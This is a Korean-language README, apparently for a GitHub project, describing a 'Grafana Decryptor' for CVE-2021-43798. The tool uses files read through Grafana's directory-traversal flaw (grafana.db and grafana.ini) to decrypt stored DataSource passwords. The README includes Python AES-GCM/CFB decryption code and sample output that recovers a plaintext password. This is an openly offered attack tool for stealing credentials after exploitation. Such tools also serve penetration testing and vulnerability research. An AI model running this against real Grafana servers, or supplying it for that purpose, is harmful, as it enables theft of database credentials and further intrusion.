
CVE-2021-43798용 Grafana 복호화기
이 스크립트는 무단 임의 파일 읽기를 허용하는 CVE-2021-43798에 취약한 Grafana 인스턴스에서 DataSource 비밀번호를 복호화합니다.
Grafana 버전 8.0.0-beta1부터 8.3.0까지는 무단 사용자가 서버의 임의 파일을 읽을 수 있게 하는 디렉터리 트래버설 취약점에 노출되어 있습니다. 이 스크립트는 이 취약점을 악용하여 grafana.ini 구성 파일에서 찾은 secret_key를 사용해 grafana.db 파일에서 발견된 DataSource 비밀번호를 복호화합니다.
requestsquestionarytermcolorcryptographypip install requests questionary termcolor cryptography
grafana.db 및 grafana.ini 파일을 확보했는지 확인합니다.python decrypt.py
스크립트에서 예제 코드의 주석을 해제하면 일반 텍스트 비밀번호를 암호화할 수도 있습니다.
스크립트는 페이로드를 분석하여 사용된 암호화 알고리즘을 결정합니다. 기본 암호화 알고리즘은 aes-cfb입니다.
유도된 암호화 알고리즘과 grafana.ini의 secret_key를 사용하여 스크립트가 DataSource 비밀번호를 복호화합니다.
스크립트는 동일한 암호화 방식과 secret_key를 사용하여 일반 텍스트 비밀번호를 암호화하는 기능도 포함합니다.
######################################
GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
SICARI0
######################################
? Enter the datasource password: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd
def decrypt_gcm(block, payload):
gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()
def decrypt_cfb(block, payload):
if len(payload) < 16:
raise ValueError("Payload too short")
iv = payload[SALT_LENGTH:SALT_LENGTH+16]
payload = payload[SALT_LENGTH+16:]
decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
return decryptor.update(payload) + decryptor.finalize()
def encryption_key_to_bytes(secret, salt):
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=10000,
backend=default_backend()
)
return kdf.derive(secret.encode())
def decrypt(payload, secret):
alg, payload = derive_encryption_algorithm(payload)
if len(payload) < SALT_LENGTH:
raise ValueError("Unable to compute salt")
salt = payload[:SALT_LENGTH]
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
if alg == AES_GCM:
return decrypt_gcm(key, payload)
else:
return decrypt_cfb(key, payload)
def encrypt(payload, secret):
salt = os.urandom(SALT_LENGTH)
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
iv = os.urandom(16)
encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
encrypted = encryptor.update(payload) + encryptor.finalize()
return salt + iv + encrypted
이 함수들은 복호화 및 암호화 프로세스를 처리합니다.
버그를 발견하거나 개선 제안이 있으면 이슈를 열거나 풀 리퀘스트를 자유롭게 제출해 주세요.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.